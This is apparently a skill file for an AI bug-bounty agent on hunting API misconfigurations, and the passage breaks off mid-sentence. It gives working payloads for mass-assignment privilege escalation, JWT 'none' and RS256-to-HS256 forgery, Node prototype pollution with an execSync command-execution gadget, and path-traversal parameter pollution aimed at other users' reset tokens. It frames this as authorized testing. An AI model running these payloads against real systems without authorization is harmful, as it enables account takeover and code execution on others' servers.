hunt-api-misconfig
Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).
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安装与使用
运行命令前先阅读来源与依赖说明。复制命令不会自动安装或执行。
npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig技能说明
name: hunt-api-misconfig description: "Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: proto injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto)." sources: hackerone_public, owasp_api_top10_2023, public_research report_count: 0
12. API SECURITY MISCONFIGURATION
Mass Assignment
User.update(req.body) // body has {"role": "admin"} → privilege escalation
JWT None Algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "." # no signature
JWT RS256 → HS256 Algorithm Confusion
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
Prototype Pollution
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor
JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,
or webhook configuration. Do not stop at a 200 response to __proto__; prove that polluted prototype
state reaches a later operation.
Hunt sequence:
- Find an object-update endpoint. Prefer endpoints that accept many named fields or JSON objects. Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
- Pollute harmless marker properties. Send variants such as:
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
- Trigger a separate sink. After pollution, request account/profile/admin/job/export/search/render endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields, server errors mentioning object properties, changed job output, template/render errors, or command/job behavior changes.
- Escalate only through learned sinks. Candidate properties depend on the sink:
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
- For exfiltration labs or real impact, prefer non-destructive proof. If an admin job, diagnostic, export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.
Server-Side Parameter Pollution in Backend URL / REST URL Construction
Use this when a frontend form or endpoint appears to call a server-side API on your behalf (password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not ordinary client-side query pollution. The server takes your input and interpolates it into a backend URL path or query string, such as:
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email
Hunt sequence:
- Find the flow and read the client request. Fetch the page and any referenced JavaScript. Look
for form actions,
fetch(...), hidden CSRF fields, and the exact parameter name the browser sends. If there is a reset/account form, test known usernames first to learn the normal success/error shape. - Determine whether input lands in a backend path or query. Send URL metacharacters in the input:
#,?,&x=y,/,../, and encoded forms%23,%3f,%26x=y,%2f,%2e%2e%2f. Distinct errors such asInvalid route,API definition,unsupported field, or changed returned fields mean your value is being interpreted by a server-side URL router, not merely validated as text. - Use path traversal to move inside the server-side URL. If
username/../other-userchanges the referenced account, the input is in a REST path segment. Then try appending route fragments such as/field/email,/field/id,/field/username,/field/passwordResetToken, and terminate the rest of the original backend path with#or%23when the backend URL parser honors fragments. - Discover API documentation from errors. When an error says to consult the API definition, probe
common documentation/spec paths:
/openapi.json,/swagger.json,/api-docs,/api/swagger.json,/swagger/v1/swagger.json,/v3/api-docs, and path-traversal variants that attempt to reach the spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources and field names. - Exploit only to prove impact. For password reset/account lookup flows, the strongest proof is a sensitive field such as a reset token or secret for another user, then using that token in the normal appli